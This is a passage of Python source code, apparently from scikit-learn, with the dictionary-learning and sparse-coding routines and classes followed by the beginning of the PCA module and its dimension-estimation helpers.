            code = code[np.newaxis, :]
        return code

    # Enter parallel code block
    code = np.empty((n_samples, n_components))
    slices = list(gen_even_slices(n_samples, _get_n_jobs(n_jobs)))

    code_views = Parallel(n_jobs=n_jobs, verbose=verbose)(
        delayed(_sparse_encode)(
            X[this_slice], dictionary, gram,
            cov[:, this_slice] if cov is not None else None,
            algorithm,
            regularization=regularization, copy_cov=copy_cov,
            init=init[this_slice] if init is not None else None,
            max_iter=max_iter,
            check_input=False)
        for this_slice in slices)
    for this_slice, this_view in zip(slices, code_views):
        code[this_slice] = this_view
    return code


def _update_dict(dictionary, Y, code, verbose=False, return_r2=False,
                 random_state=None):
    """Update the dense dictionary factor in place.

    Parameters
    ----------
    dictionary: array of shape (n_features, n_components)
        Value of the dictionary at the previous iteration.

    Y: array of shape (n_features, n_samples)
        Data matrix.

    code: array of shape (n_components, n_samples)
        Sparse coding of the data against which to optimize the dictionary.

    verbose:
        Degree of output the procedure will print.

    return_r2: bool
        Whether to compute and return the residual sum of squares corresponding
        to the computed solution.

    random_state: int or RandomState
        Pseudo number generator state used for random sampling.

    Returns
    -------
    dictionary: array of shape (n_features, n_components)
        Updated dictionary.

    """
    n_components = len(code)
    n_samples = Y.shape[0]
    random_state = check_random_state(random_state)
    # Residuals, computed 'in-place' for efficiency
    R = -np.dot(dictionary, code)
    R += Y
    R = np.asfortranarray(R)
    ger, = linalg.get_blas_funcs(('ger',), (dictionary, code))
    for k in range(n_components):
        # R <- 1.0 * U_k * V_k^T + R
        R = ger(1.0, dictionary[:, k], code[k, :], a=R, overwrite_a=True)
        dictionary[:, k] = np.dot(R, code[k, :].T)
        # Scale k'th atom
        atom_norm_square = np.dot(dictionary[:, k], dictionary[:, k])
        if atom_norm_square < 1e-20:
            if verbose == 1:
                sys.stdout.write("+")
                sys.stdout.flush()
            elif verbose:
                print("Adding new random atom")
            dictionary[:, k] = random_state.randn(n_samples)
            # Setting corresponding coefs to 0
            code[k, :] = 0.0
            dictionary[:, k] /= sqrt(np.dot(dictionary[:, k],
                                            dictionary[:, k]))
        else:
            dictionary[:, k] /= sqrt(atom_norm_square)
            # R <- -1.0 * U_k * V_k^T + R
            R = ger(-1.0, dictionary[:, k], code[k, :], a=R, overwrite_a=True)
    if return_r2:
        R **= 2
        # R is fortran-ordered. For numpy version < 1.6, sum does not
        # follow the quick striding first, and is thus inefficient on
        # fortran ordered data. We take a flat view of the data with no
        # striding
        R = as_strided(R, shape=(R.size, ), strides=(R.dtype.itemsize,))
        R = np.sum(R)
        return dictionary, R
    return dictionary


def dict_learning(X, n_components, alpha, max_iter=100, tol=1e-8,
                  method='lars', n_jobs=1, dict_init=None, code_init=None,
                  callback=None, verbose=False, random_state=None,
                  return_n_iter=False):
    """Solves a dictionary learning matrix factorization problem.

    Finds the best dictionary and the corresponding sparse code for
    approximating the data matrix X by solving::

        (U^*, V^*) = argmin 0.5 || X - U V ||_2^2 + alpha * || U ||_1
                     (U,V)
                    with || V_k ||_2 = 1 for all  0 <= k < n_components

    where V is the dictionary and U is the sparse code.

    Read more in the :ref:`User Guide <DictionaryLearning>`.

    Parameters
    ----------
    X: array of shape (n_samples, n_features)
        Data matrix.

    n_components: int,
        Number of dictionary atoms to extract.

    alpha: int,
        Sparsity controlling parameter.

    max_iter: int,
        Maximum number of iterations to perform.

    tol: float,
        Tolerance for the stopping condition.

    method: {'lars', 'cd'}
        lars: uses the least angle regression method to solve the lasso problem
        (linear_model.lars_path)
        cd: uses the coordinate descent method to compute the
        Lasso solution (linear_model.Lasso). Lars will be faster if
        the estimated components are sparse.

    n_jobs: int,
        Number of parallel jobs to run, or -1 to autodetect.

    dict_init: array of shape (n_components, n_features),
        Initial value for the dictionary for warm restart scenarios.

    code_init: array of shape (n_samples, n_components),
        Initial value for the sparse code for warm restart scenarios.

    callback:
        Callable that gets invoked every five iterations.

    verbose:
        Degree of output the procedure will print.

    random_state: int or RandomState
        Pseudo number generator state used for random sampling.

    return_n_iter : bool
        Whether or not to return the number of iterations.

    Returns
    -------
    code: array of shape (n_samples, n_components)
        The sparse code factor in the matrix factorization.

    dictionary: array of shape (n_components, n_features),
        The dictionary factor in the matrix factorization.

    errors: array
        Vector of errors at each iteration.

    n_iter : int
        Number of iterations run. Returned only if `return_n_iter` is
        set to True.

    See also
    --------
    dict_learning_online
    DictionaryLearning
    MiniBatchDictionaryLearning
    SparsePCA
    MiniBatchSparsePCA
    """
    if method not in ('lars', 'cd'):
        raise ValueError('Coding method %r not supported as a fit algorithm.'
                         % method)
    method = 'lasso_' + method

    t0 = time.time()
    # Avoid integer division problems
    alpha = float(alpha)
    random_state = check_random_state(random_state)

    if n_jobs == -1:
        n_jobs = cpu_count()

    # Init the code and the dictionary with SVD of Y
    if code_init is not None and dict_init is not None:
        code = np.array(code_init, order='F')
        # Don't copy V, it will happen below
        dictionary = dict_init
    else:
        code, S, dictionary = linalg.svd(X, full_matrices=False)
        dictionary = S[:, np.newaxis] * dictionary
    r = len(dictionary)
    if n_components <= r:  # True even if n_components=None
        code = code[:, :n_components]
        dictionary = dictionary[:n_components, :]
    else:
        code = np.c_[code, np.zeros((len(code), n_components - r))]
        dictionary = np.r_[dictionary,
                           np.zeros((n_components - r, dictionary.shape[1]))]

    # Fortran-order dict, as we are going to access its row vectors
    dictionary = np.array(dictionary, order='F')

    residuals = 0

    errors = []
    current_cost = np.nan

    if verbose == 1:
        print('[dict_learning]', end=' ')

    # If max_iter is 0, number of iterations returned should be zero
    ii = -1

    for ii in range(max_iter):
        dt = (time.time() - t0)
        if verbose == 1:
            sys.stdout.write(".")
            sys.stdout.flush()
        elif verbose:
            print("Iteration % 3i "
                  "(elapsed time: % 3is, % 4.1fmn, current cost % 7.3f)"
                  % (ii, dt, dt / 60, current_cost))

        # Update code
        code = sparse_encode(X, dictionary, algorithm=method, alpha=alpha,
                             init=code, n_jobs=n_jobs)
        # Update dictionary
        dictionary, residuals = _update_dict(dictionary.T, X.T, code.T,
                                             verbose=verbose, return_r2=True,
                                             random_state=random_state)
        dictionary = dictionary.T

        # Cost function
        current_cost = 0.5 * residuals + alpha * np.sum(np.abs(code))
        errors.append(current_cost)

        if ii > 0:
            dE = errors[-2] - errors[-1]
            # assert(dE >= -tol * errors[-1])
            if dE < tol * errors[-1]:
                if verbose == 1:
                    # A line return
                    print("")
                elif verbose:
                    print("--- Convergence reached after %d iterations" % ii)
                break
        if ii % 5 == 0 and callback is not None:
            callback(locals())

    if return_n_iter:
        return code, dictionary, errors, ii + 1
    else:
        return code, dictionary, errors


def dict_learning_online(X, n_components=2, alpha=1, n_iter=100,
                         return_code=True, dict_init=None, callback=None,
                         batch_size=3, verbose=False, shuffle=True, n_jobs=1,
                         method='lars', iter_offset=0, random_state=None,
                         return_inner_stats=False, inner_stats=None,
                         return_n_iter=False):
    """Solves a dictionary learning matrix factorization problem online.

    Finds the best dictionary and the corresponding sparse code for
    approximating the data matrix X by solving::

        (U^*, V^*) = argmin 0.5 || X - U V ||_2^2 + alpha * || U ||_1
                     (U,V)
                     with || V_k ||_2 = 1 for all  0 <= k < n_components

    where V is the dictionary and U is the sparse code. This is
    accomplished by repeatedly iterating over mini-batches by slicing
    the input data.

    Read more in the :ref:`User Guide <DictionaryLearning>`.

    Parameters
    ----------
    X: array of shape (n_samples, n_features)
        Data matrix.

    n_components : int,
        Number of dictionary atoms to extract.

    alpha : float,
        Sparsity controlling parameter.

    n_iter : int,
        Number of iterations to perform.

    return_code : boolean,
        Whether to also return the code U or just the dictionary V.

    dict_init : array of shape (n_components, n_features),
        Initial value for the dictionary for warm restart scenarios.

    callback :
        Callable that gets invoked every five iterations.

    batch_size : int,
        The number of samples to take in each batch.

    verbose :
        Degree of output the procedure will print.

    shuffle : boolean,
        Whether to shuffle the data before splitting it in batches.

    n_jobs : int,
        Number of parallel jobs to run, or -1 to autodetect.

    method : {'lars', 'cd'}
        lars: uses the least angle regression method to solve the lasso problem
        (linear_model.lars_path)
        cd: uses the coordinate descent method to compute the
        Lasso solution (linear_model.Lasso). Lars will be faster if
        the estimated components are sparse.

    iter_offset : int, default 0
        Number of previous iterations completed on the dictionary used for
        initialization.

    random_state : int or RandomState
        Pseudo number generator state used for random sampling.

    return_inner_stats : boolean, optional
        Return the inner statistics A (dictionary covariance) and B
        (data approximation). Useful to restart the algorithm in an
        online setting. If return_inner_stats is True, return_code is
        ignored

    inner_stats : tuple of (A, B) ndarrays
        Inner sufficient statistics that are kept by the algorithm.
        Passing them at initialization is useful in online settings, to
        avoid loosing the history of the evolution.
        A (n_components, n_components) is the dictionary covariance matrix.
        B (n_features, n_components) is the data approximation matrix

    return_n_iter : bool
        Whether or not to return the number of iterations.

    Returns
    -------
    code : array of shape (n_samples, n_components),
        the sparse code (only returned if `return_code=True`)

    dictionary : array of shape (n_components, n_features),
        the solutions to the dictionary learning problem

    n_iter : int
        Number of iterations run. Returned only if `return_n_iter` is
        set to `True`.

    See also
    --------
    dict_learning
    DictionaryLearning
    MiniBatchDictionaryLearning
    SparsePCA
    MiniBatchSparsePCA

    """
    if n_components is None:
        n_components = X.shape[1]

    if method not in ('lars', 'cd'):
        raise ValueError('Coding method not supported as a fit algorithm.')
    method = 'lasso_' + method

    t0 = time.time()
    n_samples, n_features = X.shape
    # Avoid integer division problems
    alpha = float(alpha)
    random_state = check_random_state(random_state)

    if n_jobs == -1:
        n_jobs = cpu_count()

    # Init V with SVD of X
    if dict_init is not None:
        dictionary = dict_init
    else:
        _, S, dictionary = randomized_svd(X, n_components,
                                          random_state=random_state)
        dictionary = S[:, np.newaxis] * dictionary
    r = len(dictionary)
    if n_components <= r:
        dictionary = dictionary[:n_components, :]
    else:
        dictionary = np.r_[dictionary,
                           np.zeros((n_components - r, dictionary.shape[1]))]

    if verbose == 1:
        print('[dict_learning]', end=' ')

    if shuffle:
        X_train = X.copy()
        random_state.shuffle(X_train)
    else:
        X_train = X

    dictionary = check_array(dictionary.T, order='F', dtype=np.float64,
                             copy=False)
    X_train = check_array(X_train, order='C', dtype=np.float64, copy=False)

    batches = gen_batches(n_samples, batch_size)
    batches = itertools.cycle(batches)

    # The covariance of the dictionary
    if inner_stats is None:
        A = np.zeros((n_components, n_components))
        # The data approximation
        B = np.zeros((n_features, n_components))
    else:
        A = inner_stats[0].copy()
        B = inner_stats[1].copy()

    # If n_iter is zero, we need to return zero.
    ii = iter_offset - 1

    for ii, batch in zip(range(iter_offset, iter_offset + n_iter), batches):
        this_X = X_train[batch]
        dt = (time.time() - t0)
        if verbose == 1:
            sys.stdout.write(".")
            sys.stdout.flush()
        elif verbose:
            if verbose > 10 or ii % ceil(100. / verbose) == 0:
                print ("Iteration % 3i (elapsed time: % 3is, % 4.1fmn)"
                       % (ii, dt, dt / 60))

        this_code = sparse_encode(this_X, dictionary.T, algorithm=method,
                                  alpha=alpha, n_jobs=n_jobs).T

        # Update the auxiliary variables
        if ii < batch_size - 1:
            theta = float((ii + 1) * batch_size)
        else:
            theta = float(batch_size ** 2 + ii + 1 - batch_size)
        beta = (theta + 1 - batch_size) / (theta + 1)

        A *= beta
        A += np.dot(this_code, this_code.T)
        B *= beta
        B += np.dot(this_X.T, this_code.T)

        # Update dictionary
        dictionary = _update_dict(dictionary, B, A, verbose=verbose,
                                  random_state=random_state)
        # XXX: Can the residuals be of any use?

        # Maybe we need a stopping criteria based on the amount of
        # modification in the dictionary
        if callback is not None:
            callback(locals())

    if return_inner_stats:
        if return_n_iter:
            return dictionary.T, (A, B), ii - iter_offset + 1
        else:
            return dictionary.T, (A, B)
    if return_code:
        if verbose > 1:
            print('Learning code...', end=' ')
        elif verbose == 1:
            print('|', end=' ')
        code = sparse_encode(X, dictionary.T, algorithm=method, alpha=alpha,
                             n_jobs=n_jobs, check_input=False)
        if verbose > 1:
            dt = (time.time() - t0)
            print('done (total time: % 3is, % 4.1fmn)' % (dt, dt / 60))
        if return_n_iter:
            return code, dictionary.T, ii - iter_offset + 1
        else:
            return code, dictionary.T

    if return_n_iter:
        return dictionary.T, ii - iter_offset + 1
    else:
        return dictionary.T


class SparseCodingMixin(TransformerMixin):
    """Sparse coding mixin"""

    def _set_sparse_coding_params(self, n_components,
                                  transform_algorithm='omp',
                                  transform_n_nonzero_coefs=None,
                                  transform_alpha=None, split_sign=False,
                                  n_jobs=1):
        self.n_components = n_components
        self.transform_algorithm = transform_algorithm
        self.transform_n_nonzero_coefs = transform_n_nonzero_coefs
        self.transform_alpha = transform_alpha
        self.split_sign = split_sign
        self.n_jobs = n_jobs

    def transform(self, X, y=None):
        """Encode the data as a sparse combination of the dictionary atoms.

        Coding method is determined by the object parameter
        `transform_algorithm`.

        Parameters
        ----------
        X : array of shape (n_samples, n_features)
            Test data to be transformed, must have the same number of
            features as the data used to train the model.

        Returns
        -------
        X_new : array, shape (n_samples, n_components)
            Transformed data

        """
        check_is_fitted(self, 'components_')

        # XXX : kwargs is not documented
        X = check_array(X)
        n_samples, n_features = X.shape

        code = sparse_encode(
            X, self.components_, algorithm=self.transform_algorithm,
            n_nonzero_coefs=self.transform_n_nonzero_coefs,
            alpha=self.transform_alpha, n_jobs=self.n_jobs)

        if self.split_sign:
            # feature vector is split into a positive and negative side
            n_samples, n_features = code.shape
            split_code = np.empty((n_samples, 2 * n_features))
            split_code[:, :n_features] = np.maximum(code, 0)
            split_code[:, n_features:] = -np.minimum(code, 0)
            code = split_code

        return code


class SparseCoder(BaseEstimator, SparseCodingMixin):
    """Sparse coding

    Finds a sparse representation of data against a fixed, precomputed
    dictionary.

    Each row of the result is the solution to a sparse coding problem.
    The goal is to find a sparse array `code` such that::

        X ~= code * dictionary

    Read more in the :ref:`User Guide <SparseCoder>`.

    Parameters
    ----------
    dictionary : array, [n_components, n_features]
        The dictionary atoms used for sparse coding. Lines are assumed to be
        normalized to unit norm.

    transform_algorithm : {'lasso_lars', 'lasso_cd', 'lars', 'omp', \
    'threshold'}
        Algorithm used to transform the data:
        lars: uses the least angle regression method (linear_model.lars_path)
        lasso_lars: uses Lars to compute the Lasso solution
        lasso_cd: uses the coordinate descent method to compute the
        Lasso solution (linear_model.Lasso). lasso_lars will be faster if
        the estimated components are sparse.
        omp: uses orthogonal matching pursuit to estimate the sparse solution
        threshold: squashes to zero all coefficients less than alpha from
        the projection ``dictionary * X'``

    transform_n_nonzero_coefs : int, ``0.1 * n_features`` by default
        Number of nonzero coefficients to target in each column of the
        solution. This is only used by `algorithm='lars'` and `algorithm='omp'`
        and is overridden by `alpha` in the `omp` case.

    transform_alpha : float, 1. by default
        If `algorithm='lasso_lars'` or `algorithm='lasso_cd'`, `alpha` is the
        penalty applied to the L1 norm.
        If `algorithm='threshold'`, `alpha` is the absolute value of the
        threshold below which coefficients will be squashed to zero.
        If `algorithm='omp'`, `alpha` is the tolerance parameter: the value of
        the reconstruction error targeted. In this case, it overrides
        `n_nonzero_coefs`.

    split_sign : bool, False by default
        Whether to split the sparse feature vector into the concatenation of
        its negative part and its positive part. This can improve the
        performance of downstream classifiers.

    n_jobs : int,
        number of parallel jobs to run

    Attributes
    ----------
    components_ : array, [n_components, n_features]
        The unchanged dictionary atoms

    See also
    --------
    DictionaryLearning
    MiniBatchDictionaryLearning
    SparsePCA
    MiniBatchSparsePCA
    sparse_encode
    """

    def __init__(self, dictionary, transform_algorithm='omp',
                 transform_n_nonzero_coefs=None, transform_alpha=None,
                 split_sign=False, n_jobs=1):
        self._set_sparse_coding_params(dictionary.shape[0],
                                       transform_algorithm,
                                       transform_n_nonzero_coefs,
                                       transform_alpha, split_sign, n_jobs)
        self.components_ = dictionary

    def fit(self, X, y=None):
        """Do nothing and return the estimator unchanged

        This method is just there to implement the usual API and hence
        work in pipelines.
        """
        return self


class DictionaryLearning(BaseEstimator, SparseCodingMixin):
    """Dictionary learning

    Finds a dictionary (a set of atoms) that can best be used to represent data
    using a sparse code.

    Solves the optimization problem::

        (U^*,V^*) = argmin 0.5 || Y - U V ||_2^2 + alpha * || U ||_1
                    (U,V)
                    with || V_k ||_2 = 1 for all  0 <= k < n_components

    Read more in the :ref:`User Guide <DictionaryLearning>`.

    Parameters
    ----------
    n_components : int,
        number of dictionary elements to extract

    alpha : float,
        sparsity controlling parameter

    max_iter : int,
        maximum number of iterations to perform

    tol : float,
        tolerance for numerical error

    fit_algorithm : {'lars', 'cd'}
        lars: uses the least angle regression method to solve the lasso problem
        (linear_model.lars_path)
        cd: uses the coordinate descent method to compute the
        Lasso solution (linear_model.Lasso). Lars will be faster if
        the estimated components are sparse.

        .. versionadded:: 0.17
           *cd* coordinate descent method to improve speed.

    transform_algorithm : {'lasso_lars', 'lasso_cd', 'lars', 'omp', \
    'threshold'}
        Algorithm used to transform the data
        lars: uses the least angle regression method (linear_model.lars_path)
        lasso_lars: uses Lars to compute the Lasso solution
        lasso_cd: uses the coordinate descent method to compute the
        Lasso solution (linear_model.Lasso). lasso_lars will be faster if
        the estimated components are sparse.
        omp: uses orthogonal matching pursuit to estimate the sparse solution
        threshold: squashes to zero all coefficients less than alpha from
        the projection ``dictionary * X'``

        .. versionadded:: 0.17
           *lasso_cd* coordinate descent method to improve speed.

    transform_n_nonzero_coefs : int, ``0.1 * n_features`` by default
        Number of nonzero coefficients to target in each column of the
        solution. This is only used by `algorithm='lars'` and `algorithm='omp'`
        and is overridden by `alpha` in the `omp` case.

    transform_alpha : float, 1. by default
        If `algorithm='lasso_lars'` or `algorithm='lasso_cd'`, `alpha` is the
        penalty applied to the L1 norm.
        If `algorithm='threshold'`, `alpha` is the absolute value of the
        threshold below which coefficients will be squashed to zero.
        If `algorithm='omp'`, `alpha` is the tolerance parameter: the value of
        the reconstruction error targeted. In this case, it overrides
        `n_nonzero_coefs`.

    split_sign : bool, False by default
        Whether to split the sparse feature vector into the concatenation of
        its negative part and its positive part. This can improve the
        performance of downstream classifiers.

    n_jobs : int,
        number of parallel jobs to run

    code_init : array of shape (n_samples, n_components),
        initial value for the code, for warm restart

    dict_init : array of shape (n_components, n_features),
        initial values for the dictionary, for warm restart

    verbose :
        degree of verbosity of the printed output

    random_state : int or RandomState
        Pseudo number generator state used for random sampling.

    Attributes
    ----------
    components_ : array, [n_components, n_features]
        dictionary atoms extracted from the data

    error_ : array
        vector of errors at each iteration

    n_iter_ : int
        Number of iterations run.

    Notes
    -----
    **References:**

    J. Mairal, F. Bach, J. Ponce, G. Sapiro, 2009: Online dictionary learning
    for sparse coding (http://www.di.ens.fr/sierra/pdfs/icml09.pdf)

    See also
    --------
    SparseCoder
    MiniBatchDictionaryLearning
    SparsePCA
    MiniBatchSparsePCA
    """
    def __init__(self, n_components=None, alpha=1, max_iter=1000, tol=1e-8,
                 fit_algorithm='lars', transform_algorithm='omp',
                 transform_n_nonzero_coefs=None, transform_alpha=None,
                 n_jobs=1, code_init=None, dict_init=None, verbose=False,
                 split_sign=False, random_state=None):

        self._set_sparse_coding_params(n_components, transform_algorithm,
                                       transform_n_nonzero_coefs,
                                       transform_alpha, split_sign, n_jobs)
        self.alpha = alpha
        self.max_iter = max_iter
        self.tol = tol
        self.fit_algorithm = fit_algorithm
        self.code_init = code_init
        self.dict_init = dict_init
        self.verbose = verbose
        self.random_state = random_state

    def fit(self, X, y=None):
        """Fit the model from data in X.

        Parameters
        ----------
        X: array-like, shape (n_samples, n_features)
            Training vector, where n_samples in the number of samples
            and n_features is the number of features.

        Returns
        -------
        self: object
            Returns the object itself
        """
        random_state = check_random_state(self.random_state)
        X = check_array(X)
        if self.n_components is None:
            n_components = X.shape[1]
        else:
            n_components = self.n_components

        V, U, E, self.n_iter_ = dict_learning(
            X, n_components, self.alpha,
            tol=self.tol, max_iter=self.max_iter,
            method=self.fit_algorithm,
            n_jobs=self.n_jobs,
            code_init=self.code_init,
            dict_init=self.dict_init,
            verbose=self.verbose,
            random_state=random_state,
            return_n_iter=True)
        self.components_ = U
        self.error_ = E
        return self


class MiniBatchDictionaryLearning(BaseEstimator, SparseCodingMixin):
    """Mini-batch dictionary learning

    Finds a dictionary (a set of atoms) that can best be used to represent data
    using a sparse code.

    Solves the optimization problem::

       (U^*,V^*) = argmin 0.5 || Y - U V ||_2^2 + alpha * || U ||_1
                    (U,V)
                    with || V_k ||_2 = 1 for all  0 <= k < n_components

    Read more in the :ref:`User Guide <DictionaryLearning>`.

    Parameters
    ----------
    n_components : int,
        number of dictionary elements to extract

    alpha : float,
        sparsity controlling parameter

    n_iter : int,
        total number of iterations to perform

    fit_algorithm : {'lars', 'cd'}
        lars: uses the least angle regression method to solve the lasso problem
        (linear_model.lars_path)
        cd: uses the coordinate descent method to compute the
        Lasso solution (linear_model.Lasso). Lars will be faster if
        the estimated components are sparse.

    transform_algorithm : {'lasso_lars', 'lasso_cd', 'lars', 'omp', \
    'threshold'}
        Algorithm used to transform the data.
        lars: uses the least angle regression method (linear_model.lars_path)
        lasso_lars: uses Lars to compute the Lasso solution
        lasso_cd: uses the coordinate descent method to compute the
        Lasso solution (linear_model.Lasso). lasso_lars will be faster if
        the estimated components are sparse.
        omp: uses orthogonal matching pursuit to estimate the sparse solution
        threshold: squashes to zero all coefficients less than alpha from
        the projection dictionary * X'

    transform_n_nonzero_coefs : int, ``0.1 * n_features`` by default
        Number of nonzero coefficients to target in each column of the
        solution. This is only used by `algorithm='lars'` and `algorithm='omp'`
        and is overridden by `alpha` in the `omp` case.

    transform_alpha : float, 1. by default
        If `algorithm='lasso_lars'` or `algorithm='lasso_cd'`, `alpha` is the
        penalty applied to the L1 norm.
        If `algorithm='threshold'`, `alpha` is the absolute value of the
        threshold below which coefficients will be squashed to zero.
        If `algorithm='omp'`, `alpha` is the tolerance parameter: the value of
        the reconstruction error targeted. In this case, it overrides
        `n_nonzero_coefs`.

    split_sign : bool, False by default
        Whether to split the sparse feature vector into the concatenation of
        its negative part and its positive part. This can improve the
        performance of downstream classifiers.

    n_jobs : int,
        number of parallel jobs to run

    dict_init : array of shape (n_components, n_features),
        initial value of the dictionary for warm restart scenarios

    verbose :
        degree of verbosity of the printed output

    batch_size : int,
        number of samples in each mini-batch

    shuffle : bool,
        whether to shuffle the samples before forming batches

    random_state : int or RandomState
        Pseudo number generator state used for random sampling.

    Attributes
    ----------
    components_ : array, [n_components, n_features]
        components extracted from the data

    inner_stats_ : tuple of (A, B) ndarrays
        Internal sufficient statistics that are kept by the algorithm.
        Keeping them is useful in online settings, to avoid loosing the
        history of the evolution, but they shouldn't have any use for the
        end user.
        A (n_components, n_components) is the dictionary covariance matrix.
        B (n_features, n_components) is the data approximation matrix

    n_iter_ : int
        Number of iterations run.

    Notes
    -----
    **References:**

    J. Mairal, F. Bach, J. Ponce, G. Sapiro, 2009: Online dictionary learning
    for sparse coding (http://www.di.ens.fr/sierra/pdfs/icml09.pdf)

    See also
    --------
    SparseCoder
    DictionaryLearning
    SparsePCA
    MiniBatchSparsePCA

    """
    def __init__(self, n_components=None, alpha=1, n_iter=1000,
                 fit_algorithm='lars', n_jobs=1, batch_size=3,
                 shuffle=True, dict_init=None, transform_algorithm='omp',
                 transform_n_nonzero_coefs=None, transform_alpha=None,
                 verbose=False, split_sign=False, random_state=None):

        self._set_sparse_coding_params(n_components, transform_algorithm,
                                       transform_n_nonzero_coefs,
                                       transform_alpha, split_sign, n_jobs)
        self.alpha = alpha
        self.n_iter = n_iter
        self.fit_algorithm = fit_algorithm
        self.dict_init = dict_init
        self.verbose = verbose
        self.shuffle = shuffle
        self.batch_size = batch_size
        self.split_sign = split_sign
        self.random_state = random_state

    def fit(self, X, y=None):
        """Fit the model from data in X.

        Parameters
        ----------
        X: array-like, shape (n_samples, n_features)
            Training vector, where n_samples in the number of samples
            and n_features is the number of features.

        Returns
        -------
        self : object
            Returns the instance itself.
        """
        random_state = check_random_state(self.random_state)
        X = check_array(X)

        U, (A, B), self.n_iter_ = dict_learning_online(
            X, self.n_components, self.alpha,
            n_iter=self.n_iter, return_code=False,
            method=self.fit_algorithm,
            n_jobs=self.n_jobs, dict_init=self.dict_init,
            batch_size=self.batch_size, shuffle=self.shuffle,
            verbose=self.verbose, random_state=random_state,
            return_inner_stats=True,
            return_n_iter=True)
        self.components_ = U
        # Keep track of the state of the algorithm to be able to do
        # some online fitting (partial_fit)
        self.inner_stats_ = (A, B)
        self.iter_offset_ = self.n_iter
        return self

    def partial_fit(self, X, y=None, iter_offset=None):
        """Updates the model using the data in X as a mini-batch.

        Parameters
        ----------
        X: array-like, shape (n_samples, n_features)
            Training vector, where n_samples in the number of samples
            and n_features is the number of features.

        iter_offset: integer, optional
            The number of iteration on data batches that has been
            performed before this call to partial_fit. This is optional:
            if no number is passed, the memory of the object is
            used.

        Returns
        -------
        self : object
            Returns the instance itself.
        """
        if not hasattr(self, 'random_state_'):
            self.random_state_ = check_random_state(self.random_state)
        X = check_array(X)
        if hasattr(self, 'components_'):
            dict_init = self.components_
        else:
            dict_init = self.dict_init
        inner_stats = getattr(self, 'inner_stats_', None)
        if iter_offset is None:
            iter_offset = getattr(self, 'iter_offset_', 0)
        U, (A, B) = dict_learning_online(
            X, self.n_components, self.alpha,
            n_iter=self.n_iter, method=self.fit_algorithm,
            n_jobs=self.n_jobs, dict_init=dict_init,
            batch_size=len(X), shuffle=False,
            verbose=self.verbose, return_code=False,
            iter_offset=iter_offset, random_state=self.random_state_,
            return_inner_stats=True, inner_stats=inner_stats)
        self.components_ = U

        # Keep track of the state of the algorithm to be able to do
        # some online fitting (partial_fit)
        self.inner_stats_ = (A, B)
        self.iter_offset_ = iter_offset + self.n_iter
        return self






""" Principal Component Analysis
"""

# Author: Alexandre Gramfort <alexandre.gramfort@inria.fr>
#         Olivier Grisel <olivier.grisel@ensta.org>
#         Mathieu Blondel <mathieu@mblondel.org>
#         Denis A. Engemann <d.engemann@fz-juelich.de>
#         Michael Eickenberg <michael.eickenberg@inria.fr>
#         Giorgio Patrini <giorgio.patrini@anu.edu.au>
#
# License: BSD 3 clause

from math import log, sqrt

import numpy as np
from scipy import linalg
from scipy.special import gammaln

from ..externals import six

from .base import _BasePCA
from ..base import BaseEstimator, TransformerMixin
from ..utils import deprecated
from ..utils import check_random_state, as_float_array
from ..utils import check_array
from ..utils.extmath import fast_dot, fast_logdet, randomized_svd, svd_flip
from ..utils.validation import check_is_fitted
from ..utils.arpack import svds


def _assess_dimension_(spectrum, rank, n_samples, n_features):
    """Compute the likelihood of a rank ``rank`` dataset

    The dataset is assumed to be embedded in gaussian noise of shape(n,
    dimf) having spectrum ``spectrum``.

    Parameters
    ----------
    spectrum: array of shape (n)
        Data spectrum.
    rank: int
        Tested rank value.
    n_samples: int
        Number of samples.
    n_features: int
        Number of features.

    Returns
    -------
    ll: float,
        The log-likelihood

    Notes
    -----
    This implements the method of `Thomas P. Minka:
    Automatic Choice of Dimensionality for PCA. NIPS 2000: 598-604`
    """
    if rank > len(spectrum):
        raise ValueError("The tested rank cannot exceed the rank of the"
                         " dataset")

    pu = -rank * log(2.)
    for i in range(rank):
        pu += (gammaln((n_features - i) / 2.) -
               log(np.pi) * (n_features - i) / 2.)

    pl = np.sum(np.log(spectrum[:rank]))
    pl = -pl * n_samples / 2.

    if rank == n_features:
        pv = 0
        v = 1
    else:
        v = np.sum(spectrum[rank:]) / (n_features - rank)
        pv = -np.log(v) * n_samples * (n_features - rank) / 2.

    m = n_features * rank - rank * (rank + 1.) / 2.
    pp = log(2. * np.pi) * (m + rank + 1.) / 2.

    pa = 0.
    spectrum_ = spectrum.copy()
    spectrum_[rank:n_features] = v
    for i in range(rank):
        for j in range(i + 1, len(spectrum)):
            pa += log((spectrum[i] - spectrum[j]) *
                      (1. / spectrum_[j] - 1. / spectrum_[i])) + log(n_samples)

    ll = pu + pl + pv + pp - pa / 2. - rank * log(n_samples) / 2.

    return ll


def _infer_dimension_(spectrum, n_samples, n_features):
    """Infers the dimension of a dataset of shape (n_samples, n_features)

    The dataset is described by its spectrum `spectrum`.
    """
    n_spectrum = len(spectrum)
    ll = np.empty(n_spectrum)
    for rank in range(n_spectrum):
        ll[rank] = _assess_dimension_(spectrum, rank, n_samples, n_features)
    return ll.argmax()


class PCA(_BasePCA):
    """Principal component analysis (PCA)

    Linear dimensionality reduction using Singular Value Decomposition of the
    data to project it to a lower dimensional space.

    It uses the scipy.linalg ARPACK implementation of the SVD or a randomized
    SVD by the method of Halko et al. 2009, depending on which is the most
    efficient.

    Read more in the :ref:`User Guide <PCA>`.

    Parameters
    ----------
    n_components : int, float, None or string
        Number of components to keep.
        if n_components is not set all components are kept::

            n_components == min(n_samples, n_features)

        if n_components == 'mle' and svd_solver == 'full', Minka\'s MLE is used
        to guess the dimension
        if ``0 < n_components < 1`` and svd_solver == 'full', select the number
        of components such that the amount of variance that needs to be
        explained is greater than the percentage specified by n_components
        n_components cannot be equal to n_features for svd_solver == 'arpack'.

    copy : bool (default True)
        If False, data passed to fit are overwritten and running
        fit(X).transform(X) will not yield the expected results,
        use fit_transform(X) instead.

    whiten : bool, optional (default False)
        When True (False by default) the `components_` vectors are multiplied
        by the square root of n_samples and then divided by the singular values
        to ensure uncorrelated outputs with unit component-wise variances.

        Whitening will remove some information from the transformed signal
        (the relative variance scales of the components) but can sometime
        improve the predictive accuracy of the downstream estimators by
        making their data respect some hard-wired assumptions.

    svd_solver : string {'auto', 'full', 'arpack', 'randomized'}
        auto :
            the solver is selected by a default policy based on `X.shape` and
            `n_components` which favors 'randomized' when the problem is
            computationally demanding for 'full' PCA
        full :
            run exact SVD calling ARPACK solver via
            `scipy.linalg.svd` and select the components by postprocessing
        arpack :
            run SVD truncated to n_components calling ARPACK solver via
            `scipy.sparse.linalg.svds`. It requires strictly
            0 < n_components < X.shape[1]
        randomized :
            run randomized SVD by the method of Halko et al.

        .. versionadded:: 0.18.0

    tol : float >= 0, optional (default .0)
